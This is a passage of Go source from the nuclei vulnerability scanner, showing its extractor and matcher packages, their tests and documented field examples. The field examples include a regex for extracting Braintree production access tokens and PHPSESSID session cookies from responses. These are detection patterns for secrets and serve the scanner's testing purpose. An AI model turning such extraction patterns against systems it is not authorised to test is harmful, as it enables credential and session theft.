query)\n\t\t}\n\t\tcompiled, err := gojq.Compile(query)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not compile json: %s\", query)\n\t\t}\n\t\te.jsonCompiled = append(e.jsonCompiled, compiled)\n\t}\n\n\tfor _, dslExp := range e.DSL {\n\t\tif cached, err := cache.DSL().GetIFPresent(dslExp); err == nil && cached != nil {\n\t\t\te.dslCompiled = append(e.dslCompiled, cached)\n\t\t\tcontinue\n\t\t}\n\t\tcompiled, err := govaluate.NewEvaluableExpressionWithFunctions(dslExp, dsl.HelperFunctions)\n\t\tif err != nil {\n\t\t\treturn &dsl.CompilationError{DslSignature: dslExp, WrappedError: err}\n\t\t}\n\t\t_ = cache.DSL().Set(dslExp, compiled)\n\t\te.dslCompiled = append(e.dslCompiled, compiled)\n\t}\n\n\tif e.CaseInsensitive {\n\t\tif e.GetType() != KValExtractor {\n\t\t\treturn fmt.Errorf(\"case-insensitive flag is supported only for 'kval' extractors (not '%s')\", e.Type)\n\t\t}\n\t\tfor i := range e.KVal {\n\t\t\te.KVal[i] = strings.ToLower(e.KVal[i])\n\t\t}\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/operators/extractors/doc.go",
    "content": "// Package extractors implements extractors for http response\n// data retrieval.\npackage extractors\n"
  },
  {
    "path": "pkg/operators/extractors/extract.go",
    "content": "package extractors\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/antchfx/htmlquery\"\n\t\"github.com/antchfx/xmlquery\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// ExtractRegex extracts text from a corpus and returns it\nfunc (e *Extractor) ExtractRegex(corpus string) map[string]struct{} {\n\tresults := make(map[string]struct{})\n\n\tgroupPlusOne := e.RegexGroup + 1\n\tfor _, regex := range e.regexCompiled {\n\t\t// skip prefix short-circuit for case-insensitive patterns\n\t\trstr := regex.String()\n\t\tif !strings.Contains(rstr, \"(?i\") {\n\t\t\tif prefix, ok := regex.LiteralPrefix(); ok && prefix != \"\" {\n\t\t\t\tif !strings.Contains(corpus, prefix) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tsubmatches := regex.FindAllStringSubmatch(corpus, -1)\n\n\t\tfor _, match := range submatches {\n\t\t\tif len(match) < groupPlusOne {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tmatchString := match[e.RegexGroup]\n\n\t\t\tif _, ok := results[matchString]; !ok {\n\t\t\t\tresults[matchString] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\treturn results\n}\n\n// ExtractKval extracts key value pairs from a data map\nfunc (e *Extractor) ExtractKval(data map[string]interface{}) map[string]struct{} {\n\tif e.CaseInsensitive {\n\t\tinputData := data\n\t\tdata = make(map[string]interface{}, len(inputData))\n\t\tfor k, v := range inputData {\n\t\t\tif s, ok := v.(string); ok {\n\t\t\t\tv = strings.ToLower(s)\n\t\t\t}\n\t\t\tdata[strings.ToLower(k)] = v\n\t\t}\n\t}\n\n\tresults := make(map[string]struct{})\n\tfor _, k := range e.KVal {\n\t\titem, ok := data[k]\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\titemString := types.ToString(item)\n\t\tif _, ok := results[itemString]; !ok {\n\t\t\tresults[itemString] = struct{}{}\n\t\t}\n\t}\n\treturn results\n}\n\n// ExtractXPath extracts items from text using XPath selectors\nfunc (e *Extractor) ExtractXPath(corpus string) map[string]struct{} {\n\tif strings.HasPrefix(corpus, \"<?xml\") {\n\t\treturn e.ExtractXML(corpus)\n\t}\n\treturn e.ExtractHTML(corpus)\n}\n\n// ExtractHTML extracts items from HTML using XPath selectors\nfunc (e *Extractor) ExtractHTML(corpus string) map[string]struct{} {\n\tresults := make(map[string]struct{})\n\n\tdoc, err := htmlquery.Parse(strings.NewReader(corpus))\n\tif err != nil {\n\t\treturn results\n\t}\n\tfor _, k := range e.XPath {\n\t\tnodes, err := htmlquery.QueryAll(doc, k)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, node := range nodes {\n\t\t\tvar value string\n\n\t\t\tif e.Attribute != \"\" {\n\t\t\t\tvalue = htmlquery.SelectAttr(node, e.Attribute)\n\t\t\t} else {\n\t\t\t\tvalue = htmlquery.InnerText(node)\n\t\t\t}\n\t\t\tif _, ok := results[value]; !ok {\n\t\t\t\tresults[value] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\treturn results\n}\n\n// ExtractXML extracts items from XML using XPath selectors\nfunc (e *Extractor) ExtractXML(corpus string) map[string]struct{} {\n\tresults := make(map[string]struct{})\n\n\tdoc, err := xmlquery.Parse(strings.NewReader(corpus))\n\tif err != nil {\n\t\treturn results\n\t}\n\n\tfor _, k := range e.XPath {\n\t\tnodes, err := xmlquery.QueryAll(doc, k)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfor _, node := range nodes {\n\t\t\tvar value string\n\n\t\t\tif e.Attribute != \"\" {\n\t\t\t\tvalue = node.SelectAttr(e.Attribute)\n\t\t\t} else {\n\t\t\t\tvalue = node.InnerText()\n\t\t\t}\n\t\t\tif _, ok := results[value]; !ok {\n\t\t\t\tresults[value] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\treturn results\n}\n\n// ExtractJSON extracts text from a corpus using JQ queries and returns it\nfunc (e *Extractor) ExtractJSON(corpus string) map[string]struct{} {\n\tresults := make(map[string]struct{})\n\n\tvar jsonObj interface{}\n\n\tif err := json.Unmarshal([]byte(corpus), &jsonObj); err != nil {\n\t\treturn results\n\t}\n\n\tfor _, k := range e.jsonCompiled {\n\t\titer := k.Run(jsonObj)\n\t\tfor {\n\t\t\tv, ok := iter.Next()\n\t\t\tif !ok {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif _, ok := v.(error); ok {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tvar result string\n\t\t\tif res, err := types.JSONScalarToString(v); err == nil {\n\t\t\t\tresult = res\n\t\t\t} else if res, err := json.Marshal(v); err == nil {\n\t\t\t\tresult = string(res)\n\t\t\t} else {\n\t\t\t\tresult = types.ToString(v)\n\t\t\t}\n\t\t\tif _, ok := results[result]; !ok {\n\t\t\t\tresults[result] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\treturn results\n}\n\n// ExtractDSL execute the expression and returns the results\nfunc (e *Extractor) ExtractDSL(data map[string]interface{}) map[string]struct{} {\n\tresults := make(map[string]struct{})\n\n\tfor _, compiledExpression := range e.dslCompiled {\n\t\tresult, err := compiledExpression.Evaluate(data)\n\t\t// ignore errors that are related to missing parameters\n\t\t// eg: dns dsl can have all the parameters that are not present\n\t\tif err != nil && !strings.HasPrefix(err.Error(), \"No parameter\") {\n\t\t\treturn results\n\t\t}\n\n\t\tif result != nil {\n\t\t\tresultString := fmt.Sprint(result)\n\t\t\tif resultString != \"\" {\n\t\t\t\tresults[resultString] = struct{}{}\n\t\t\t}\n\t\t}\n\t}\n\treturn results\n}\n"
  },
  {
    "path": "pkg/operators/extractors/extract_test.go",
    "content": "package extractors\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestExtractor_ExtractRegex(t *testing.T) {\n\te := &Extractor{Type: ExtractorTypeHolder{ExtractorType: RegexExtractor}, Regex: []string{`([A-Z])\\w+`}}\n\terr := e.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tgot := e.ExtractRegex(\"RegEx\")\n\trequire.Equal(t, map[string]struct{}{\"RegEx\": {}}, got)\n\n\tgot = e.ExtractRegex(\"regex\")\n\trequire.Equal(t, map[string]struct{}{}, got)\n}\n\nfunc TestExtractor_ExtractKval(t *testing.T) {\n\te := &Extractor{Type: ExtractorTypeHolder{ExtractorType: KValExtractor}, KVal: []string{\"content_type\"}}\n\terr := e.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tgot := e.ExtractKval(map[string]interface{}{\"content_type\": \"text/html\"})\n\trequire.Equal(t, map[string]struct{}{\"text/html\": {}}, got)\n\n\tgot = e.ExtractKval(map[string]interface{}{\"authorization\": \"Basic YWxhZGRpbjpvcGVuc2VzYW1l\"})\n\trequire.Equal(t, map[string]struct{}{}, got)\n\n}\n\nfunc TestExtractor_ExtractXPath(t *testing.T) {\n\tbody := `<!doctype html>\n<html>\n<head>\n    <title>Example Domain</title>\n\n    <meta charset=\"utf-8\" />\n    <meta http-equiv=\"Content-type\" content=\"text/html; charset=utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n</head>\n\n<body>\n<div>\n    <h1>Example Domain</h1>\n    <p>This domain is for use in illustrative examples in documents. You may use this\n    domain in literature without prior coordination or asking for permission.</p>\n    <p><a href=\"https://www.iana.org/domains/example\">More information...</a></p>\n</div>\n</body>\n</html>\n`\n\n\te := &Extractor{Type: ExtractorTypeHolder{ExtractorType: XPathExtractor}, XPath: []string{\"/html/body/div/p[2]/a\"}}\n\terr := e.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tgot := e.ExtractXPath(body)\n\trequire.Equal(t, map[string]struct{}{\"More information...\": {}}, got)\n\n\te = &Extractor{Type: ExtractorTypeHolder{ExtractorType: XPathExtractor}, XPath: []string{\"/html/body/div/p[3]/a\"}}\n\tgot = e.ExtractXPath(body)\n\trequire.Equal(t, map[string]struct{}{}, got)\n}\n\nfunc TestExtractor_ExtractJSON(t *testing.T) {\n\te := &Extractor{Type: ExtractorTypeHolder{ExtractorType: JSONExtractor}, JSON: []string{\".[] | .id\"}}\n\terr := e.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tgot := e.ExtractJSON(`[{\"id\": 1}]`)\n\trequire.Equal(t, map[string]struct{}{\"1\": {}}, got)\n\n\tgot = e.ExtractJSON(`{\"id\": 1}`)\n\trequire.Equal(t, map[string]struct{}{}, got)\n}\n\nfunc TestExtractor_ExtractDSL(t *testing.T) {\n\te := &Extractor{Type: ExtractorTypeHolder{ExtractorType: DSLExtractor}, DSL: []string{\"to_upper(hello)\"}}\n\terr := e.CompileExtractors()\n\trequire.Nil(t, err)\n\n\tgot := e.ExtractDSL(map[string]interface{}{\"hello\": \"hi\"})\n\trequire.Equal(t, map[string]struct{}{\"HI\": {}}, got)\n\n\tgot = e.ExtractDSL(map[string]interface{}{\"hi\": \"hello\"})\n\trequire.Equal(t, map[string]struct{}{}, got)\n}\n"
  },
  {
    "path": "pkg/operators/extractors/extractor_types.go",
    "content": "package extractors\n\nimport (\n\t\"errors\"\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// ExtractorType is the type of the extractor specified\ntype ExtractorType int\n\n// name:ExtractorType\nconst (\n\t// name:regex\n\tRegexExtractor ExtractorType = iota + 1\n\t// name:kval\n\tKValExtractor\n\t// name:xpath\n\tXPathExtractor\n\t// name:json\n\tJSONExtractor\n\t// name:dsl\n\tDSLExtractor\n\tlimit\n)\n\n// extractorMappings is a table for conversion of extractor type from string.\nvar extractorMappings = map[ExtractorType]string{\n\tRegexExtractor: \"regex\",\n\tKValExtractor:  \"kval\",\n\tXPathExtractor: \"xpath\",\n\tJSONExtractor:  \"json\",\n\tDSLExtractor:   \"dsl\",\n}\n\n// GetType returns the type of the matcher\nfunc (e *Extractor) GetType() ExtractorType {\n\treturn e.Type.ExtractorType\n}\n\n// GetSupportedExtractorTypes returns list of supported types\nfunc GetSupportedExtractorTypes() []ExtractorType {\n\tvar result []ExtractorType\n\tfor index := ExtractorType(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toExtractorTypes(valueToMap string) (ExtractorType, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range extractorMappings {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid extractor type: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToLower(value))\n}\n\nfunc (t ExtractorType) String() string {\n\treturn extractorMappings[t]\n}\n\n// ExtractorTypeHolder is used to hold internal type of the extractor\ntype ExtractorTypeHolder struct {\n\tExtractorType ExtractorType `mapping:\"true\"`\n}\n\nfunc (holder ExtractorTypeHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"type of the extractor\",\n\t\tDescription: \"Type of the extractor\",\n\t}\n\tfor _, types := range GetSupportedExtractorTypes() {\n\t\tgotType.Enum = append(gotType.Enum, types.String())\n\t}\n\treturn gotType\n}\n\nfunc (holder *ExtractorTypeHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledTypes string\n\tif err := unmarshal(&marshalledTypes); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedType, err := toExtractorTypes(marshalledTypes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.ExtractorType = computedType\n\treturn nil\n}\n\nfunc (holder *ExtractorTypeHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedType, err := toExtractorTypes(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tholder.ExtractorType = computedType\n\treturn nil\n}\n\nfunc (holder *ExtractorTypeHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(holder.ExtractorType.String())\n}\n\nfunc (holder ExtractorTypeHolder) MarshalYAML() (interface{}, error) {\n\treturn holder.ExtractorType.String(), nil\n}\n"
  },
  {
    "path": "pkg/operators/extractors/extractors.go",
    "content": "package extractors\n\nimport (\n\t\"regexp\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/itchyny/gojq\"\n)\n\n// Extractor is used to extract part of response using a regex.\ntype Extractor struct {\n\t// description: |\n\t//   Name of the extractor. Name should be lowercase and must not contain\n\t//   spaces or underscores (_).\n\t// examples:\n\t//   - value: \"\\\"cookie-extractor\\\"\"\n\tName string `yaml:\"name,omitempty\" json:\"name,omitempty\" jsonschema:\"title=name of the extractor,description=Name of the extractor\"`\n\t// description: |\n\t//   Type is the type of the extractor.\n\tType ExtractorTypeHolder `json:\"type\" yaml:\"type\"`\n\t// extractorType is the internal type of the extractor\n\textractorType ExtractorType\n\n\t// description: |\n\t//   Regex contains the regular expression patterns to extract from a part.\n\t//\n\t//   Go regex engine does not support lookaheads or lookbehinds, so as a result\n\t//   they are also not supported in nuclei.\n\t// examples:\n\t//   - name: Braintree Access Token Regex\n\t//     value: >\n\t//       []string{\"access_token\\\\$production\\\\$[0-9a-z]{16}\\\\$[0-9a-f]{32}\"}\n\t//   - name: Wordpress Author Extraction regex\n\t//     value: >\n\t//       []string{\"Author:(?:[A-Za-z0-9 -\\\\_=\\\"]+)?<span(?:[A-Za-z0-9 -\\\\_=\\\"]+)?>([A-Za-z0-9]+)<\\\\/span>\"}\n\tRegex []string `yaml:\"regex,omitempty\" json:\"regex,omitempty\" jsonschema:\"title=regex to extract from part,description=Regex to extract from part\"`\n\t// description: |\n\t//   Group specifies a numbered group to extract from the regex.\n\t// examples:\n\t//   - name: Example Regex Group\n\t//     value: \"1\"\n\tRegexGroup int `yaml:\"group,omitempty\" json:\"group,omitempty\" jsonschema:\"title=group to extract from regex,description=Group to extract from regex\"`\n\t// regexCompiled is the compiled variant\n\tregexCompiled []*regexp.Regexp\n\n\t// description: |\n\t//   kval contains the key-value pairs present in the HTTP response header.\n\t//   kval extractor can be used to extract HTTP response header and cookie key-value pairs.\n\t//   kval extractor inputs are case-insensitive, and does not support dash (-) in input which can replaced with underscores (_)\n\t// \t For example, Content-Type should be replaced with content_type\n\t//\n\t//   A list of supported parts is available in docs for request types.\n\t// examples:\n\t//   - name: Extract Server Header From HTTP Response\n\t//     value: >\n\t//       []string{\"server\"}\n\t//   - name: Extracting value of PHPSESSID Cookie\n\t//     value: >\n\t//       []string{\"phpsessid\"}\n\t//   - name: Extracting value of Content-Type Cookie\n\t//     value: >\n\t//       []string{\"content_type\"}\n\tKVal []string `yaml:\"kval,omitempty\" json:\"kval,omitempty\" jsonschema:\"title=kval pairs to extract from response,description=Kval pairs to extract from response\"`\n\n\t// description: |\n\t//   JSON allows using jq-style syntax to extract items from json response\n\t//\n\t// examples:\n\t//   - value: >\n\t//       []string{\".[] | .id\"}\n\t//   - value: >\n\t//       []string{\".batters | .batter | .[] | .id\"}\n\tJSON []string `yaml:\"json,omitempty\" json:\"json,omitempty\" jsonschema:\"title=json jq expressions to extract data,description=JSON JQ expressions to evaluate from response part\"`\n\t// description: |\n\t//   XPath allows using xpath expressions to extract items from html response\n\t//\n\t// examples:\n\t//   - value: >\n\t//       []string{\"/html/body/div/p[2]/a\"}\n\tXPath []string `yaml:\"xpath,omitempty\" json:\"xpath,omitempty\" jsonschema:\"title=html xpath expressions to extract data,description=XPath allows using xpath expressions to extract items from html response\"`\n\t// description: |\n\t//   Attribute is an optional attribute to extract from response XPath.\n\t//\n\t// examples:\n\t//   - value: \"\\\"href\\\"\"\n\tAttribute string `yaml:\"attribute,omitempty\" json:\"attribute,omitempty\" jsonschema:\"title=optional attribute to extract from xpath,description=Optional attribute to extract from response XPath\"`\n\n\t// jsonCompiled is the compiled variant\n\tjsonCompiled []*gojq.Code\n\n\t// description: |\n\t//   Extracts using DSL expressions.\n\tDSL         []string `yaml:\"dsl,omitempty\" json:\"dsl,omitempty\" jsonschema:\"title=dsl expressions to extract,description=Optional attribute to extract from response dsl\"`\n\tdslCompiled []*govaluate.EvaluableExpression\n\n\t// description: |\n\t//   Part is the part of the request response to extract data from.\n\t//\n\t//   Each protocol exposes a lot of different parts which are well\n\t//   documented in docs for each request type.\n\t// examples:\n\t//   - value: \"\\\"body\\\"\"\n\t//   - value: \"\\\"raw\\\"\"\n\tPart string `yaml:\"part,omitempty\" json:\"part,omitempty\" jsonschema:\"title=part of response to extract data from,description=Part of the request response to extract data from\"`\n\t// description: |\n\t//   Internal, when set to true will allow using the value extracted\n\t//   in the next request for some protocols (like HTTP).\n\tInternal bool `yaml:\"internal,omitempty\" json:\"internal,omitempty\" jsonschema:\"title=mark extracted value for internal variable use,description=Internal when set to true will allow using the value extracted in the next request for some protocols\"`\n\n\t// description: |\n\t//   CaseInsensitive enables case-insensitive extractions. Default is false.\n\t// values:\n\t//   - false\n\t//   - true\n\tCaseInsensitive bool `yaml:\"case-insensitive,omitempty\" json:\"case-insensitive,omitempty\" jsonschema:\"title=use case insensitive extract,description=use case insensitive extract\"`\n}\n"
  },
  {
    "path": "pkg/operators/extractors/util.go",
    "content": "package extractors\n\n// SupportsMap determines if the extractor type requires a map\nfunc SupportsMap(extractor *Extractor) bool {\n\treturn extractor.Type.ExtractorType == KValExtractor || extractor.Type.ExtractorType == DSLExtractor\n}\n"
  },
  {
    "path": "pkg/operators/matchers/compile.go",
    "content": "package matchers\n\nimport (\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/cache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n)\n\n// CompileMatchers performs the initial setup operation on a matcher\nfunc (matcher *Matcher) CompileMatchers() error {\n\tvar ok bool\n\n\t// Support hexadecimal encoding for matchers too.\n\tif matcher.Encoding == \"hex\" {\n\t\tfor i, word := range matcher.Words {\n\t\t\tif decoded, err := hex.DecodeString(word); err == nil && len(decoded) > 0 {\n\t\t\t\tmatcher.Words[i] = string(decoded)\n\t\t\t}\n\t\t}\n\t}\n\n\t// Set up the matcher type\n\tcomputedType, err := toMatcherTypes(matcher.GetType().String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unknown matcher type specified: %s\", matcher.Type)\n\t}\n\n\tmatcher.matcherType = computedType\n\n\t// Validate the matcher structure\n\tif err := matcher.Validate(); err != nil {\n\t\treturn err\n\t}\n\n\t// By default, match on body if user hasn't provided any specific items\n\tif matcher.Part == \"\" && matcher.GetType() != DSLMatcher {\n\t\tmatcher.Part = \"body\"\n\t}\n\n\t// Compile the regexes (with shared cache)\n\tfor _, regex := range matcher.Regex {\n\t\tif cached, err := cache.Regex().GetIFPresent(regex); err == nil && cached != nil {\n\t\t\tmatcher.regexCompiled = append(matcher.regexCompiled, cached)\n\t\t\tcontinue\n\t\t}\n\t\tcompiled, err := regexp.Compile(regex)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not compile regex: %s\", regex)\n\t\t}\n\t\t_ = cache.Regex().Set(regex, compiled)\n\t\tmatcher.regexCompiled = append(matcher.regexCompiled, compiled)\n\t}\n\n\t// Compile and validate binary Values in matcher\n\tfor _, value := range matcher.Binary {\n\t\tif decoded, err := hex.DecodeString(value); err != nil {\n\t\t\treturn fmt.Errorf(\"could not hex decode binary: %s\", value)\n\t\t} else {\n\t\t\tmatcher.binaryDecoded = append(matcher.binaryDecoded, string(decoded))\n\t\t}\n\t}\n\n\t// Compile the dsl expressions (with shared cache)\n\tfor _, dslExpression := range matcher.DSL {\n\t\tif cached, err := cache.DSL().GetIFPresent(dslExpression); err == nil && cached != nil {\n\t\t\tmatcher.dslCompiled = append(matcher.dslCompiled, cached)\n\t\t\tcontinue\n\t\t}\n\t\tcompiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, dsl.HelperFunctions)\n\t\tif err != nil {\n\t\t\treturn &dsl.CompilationError{DslSignature: dslExpression, WrappedError: err}\n\t\t}\n\t\t_ = cache.DSL().Set(dslExpression, compiledExpression)\n\t\tmatcher.dslCompiled = append(matcher.dslCompiled, compiledExpression)\n\t}\n\n\t// Set up the condition type, if any.\n\tif matcher.Condition != \"\" {\n\t\tmatcher.condition, ok = ConditionTypes[matcher.Condition]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown condition specified: %s\", matcher.Condition)\n\t\t}\n\t} else {\n\t\tmatcher.condition = ORCondition\n\t}\n\n\tif matcher.CaseInsensitive {\n\t\tif matcher.GetType() != WordsMatcher {\n\t\t\treturn fmt.Errorf(\"case-insensitive flag is supported only for 'word' matchers (not '%s')\", matcher.Type)\n\t\t}\n\t\tfor i := range matcher.Words {\n\t\t\tmatcher.Words[i] = strings.ToLower(matcher.Words[i])\n\t\t}\n\t}\n\treturn nil\n}\n\n// GetType returns the condition type of the matcher\n// todo: the field should be exposed natively\nfunc (matcher *Matcher) GetCondition() ConditionType {\n\treturn matcher.condition\n}\n"
  },
  {
    "path": "pkg/operators/matchers/doc.go",
    "content": "// Package matchers implements matchers for http response\n// matching with templates.\npackage matchers\n"
  },
  {
    "path": "pkg/operators/matchers/match.go",
    "content": "package matchers\n\nimport (\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/antchfx/htmlquery\"\n\t\"github.com/antchfx/xmlquery\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\t// showDSLErr controls whether to show hidden DSL errors or not\n\tshowDSLErr = strings.EqualFold(os.Getenv(\"SHOW_DSL_ERRORS\"), \"true\")\n)\n\n// MatchStatusCode matches a status code check against a corpus\nfunc (matcher *Matcher) MatchStatusCode(statusCode int) bool {\n\t// Iterate over all the status codes accepted as valid\n\t//\n\t// Status codes don't support AND conditions.\n\tfor _, status := range matcher.Status {\n\t\t// Continue if the status codes don't match\n\t\tif statusCode != status {\n\t\t\tcontinue\n\t\t}\n\t\t// Return on the first match.\n\t\treturn true\n\t}\n\treturn false\n}\n\n// MatchSize matches a size check against a corpus\nfunc (matcher *Matcher) MatchSize(length int) bool {\n\t// Iterate over all the sizes accepted as valid\n\t//\n\t// Sizes codes don't support AND conditions.\n\tfor _, size := range matcher.Size {\n\t\t// Continue if the size doesn't match\n\t\tif length != size {\n\t\t\tcontinue\n\t\t}\n\t\t// Return on the first match.\n\t\treturn true\n\t}\n\treturn false\n}\n\n// MatchWords matches a word check against a corpus.\nfunc (matcher *Matcher) MatchWords(corpus string, data map[string]interface{}) (bool, []string) {\n\tif matcher.CaseInsensitive {\n\t\tcorpus = strings.ToLower(corpus)\n\t}\n\n\tvar matchedWords []string\n\t// Iterate over all the words accepted as valid\n\tfor i, word := range matcher.Words {\n\t\tif data == nil {\n\t\t\tdata = make(map[string]interface{})\n\t\t}\n\n\t\tvar err error\n\t\tword, err = expressions.Evaluate(word, data)\n\t\tif err != nil {\n\t\t\tgologger.Warning().Msgf(\"Error while evaluating word matcher: %q\", word)\n\t\t\tif matcher.condition == ANDCondition {\n\t\t\t\treturn false, []string{}\n\t\t\t}\n\t\t}\n\t\t// Continue if the word doesn't match\n\t\tif !strings.Contains(corpus, word) {\n\t\t\t// If we are in an AND request and a match failed,\n\t\t\t// return false as the AND condition fails on any single mismatch.\n\t\t\tswitch matcher.condition {\n\t\t\tcase ANDCondition:\n\t\t\t\treturn false, []string{}\n\t\t\tcase ORCondition:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// If the condition was an OR, return on the first match.\n\t\tif matcher.condition == ORCondition && !matcher.MatchAll {\n\t\t\treturn true, []string{word}\n\t\t}\n\t\tmatchedWords = append(matchedWords, word)\n\n\t\t// If we are at the end of the words, return with true\n\t\tif len(matcher.Words)-1 == i && !matcher.MatchAll {\n\t\t\treturn true, matchedWords\n\t\t}\n\t}\n\tif len(matchedWords) > 0 && matcher.MatchAll {\n\t\treturn true, matchedWords\n\t}\n\treturn false, []string{}\n}\n\n// MatchRegex matches a regex check against a corpus\nfunc (matcher *Matcher) MatchRegex(corpus string) (bool, []string) {\n\tvar matchedRegexes []string\n\t// Iterate over all the regexes accepted as valid\n\tfor i, regex := range matcher.regexCompiled {\n\t\t// Literal prefix short-circuit\n\t\trstr := regex.String()\n\t\tif !strings.Contains(rstr, \"(?i\") { // covers (?i) and (?i:\n\t\t\tif prefix, ok := regex.LiteralPrefix(); ok && prefix != \"\" {\n\t\t\t\tif !strings.Contains(corpus, prefix) {\n\t\t\t\t\tswitch matcher.condition {\n\t\t\t\t\tcase ANDCondition:\n\t\t\t\t\t\treturn false, []string{}\n\t\t\t\t\tcase ORCondition:\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Fast OR-path: return first match without full scan\n\t\tif matcher.condition == ORCondition && !matcher.MatchAll {\n\t\t\tm := regex.FindAllString(corpus, 1)\n\t\t\tif len(m) == 0 {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn true, m\n\t\t}\n\n\t\t// Single scan: get all matches directly\n\t\tcurrentMatches := regex.FindAllString(corpus, -1)\n\t\tif len(currentMatches) == 0 {\n\t\t\tswitch matcher.condition {\n\t\t\tcase ANDCondition:\n\t\t\t\treturn false, []string{}\n\t\t\tcase ORCondition:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// If the condition was an OR (and MatchAll true), we still need to gather all\n\t\tmatchedRegexes = append(matchedRegexes, currentMatches...)\n\n\t\t// If we are at the end of the regex, return with true\n\t\tif len(matcher.regexCompiled)-1 == i && !matcher.MatchAll {\n\t\t\treturn true, matchedRegexes\n\t\t}\n\t}\n\tif len(matchedRegexes) > 0 && matcher.MatchAll {\n\t\treturn true, matchedRegexes\n\t}\n\treturn false, []string{}\n}\n\n// MatchBinary matches a binary check against a corpus\nfunc (matcher *Matcher) MatchBinary(corpus string) (bool, []string) {\n\tvar matchedBinary []string\n\t// Iterate over all the words accepted as valid\n\tfor i, binary := range matcher.binaryDecoded {\n\t\tif !strings.Contains(corpus, binary) {\n\t\t\t// If we are in an AND request and a match failed,\n\t\t\t// return false as the AND condition fails on any single mismatch.\n\t\t\tswitch matcher.condition {\n\t\t\tcase ANDCondition:\n\t\t\t\treturn false, []string{}\n\t\t\tcase ORCondition:\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\t// If the condition was an OR, return on the first match.\n\t\tif matcher.condition == ORCondition {\n\t\t\treturn true, []string{binary}\n\t\t}\n\n\t\tmatchedBinary = append(matchedBinary, binary)\n\n\t\t// If we are at the end of the words, return with true\n\t\tif len(matcher.Binary)-1 == i {\n\t\t\treturn true, matchedBinary\n\t\t}\n\t}\n\treturn false, []string{}\n}\n\n// MatchDSL matches on a generic map result\nfunc (matcher *Matcher) MatchDSL(data map[string]interface{}) bool {\n\tlogExpressionEvaluationFailure := func(matcherName string, err error) {\n\t\tgologger.Warning().Msgf(\"Could not evaluate expression: %s, error: %s\", matcherName, err.Error())\n\t}\n\n\t// Iterate over all the expressions accepted as valid\n\tfor i, expression := range matcher.dslCompiled {\n\t\tif varErr := expressions.ContainsUnresolvedVariables(expression.String()); varErr != nil {\n\t\t\tresolvedExpression, err := expressions.Evaluate(expression.String(), data)\n\t\t\tif err != nil {\n\t\t\t\tlogExpressionEvaluationFailure(matcher.Name, err)\n\t\t\t\treturn false\n\t\t\t}\n\t\t\texpression, err = govaluate.NewEvaluableExpressionWithFunctions(resolvedExpression, dsl.HelperFunctions)\n\t\t\tif err != nil {\n\t\t\t\tlogExpressionEvaluationFailure(matcher.Name, err)\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\n\t\tresult, err := expression.Evaluate(data)\n\t\tif err != nil {\n\t\t\tif matcher.condition == ANDCondition 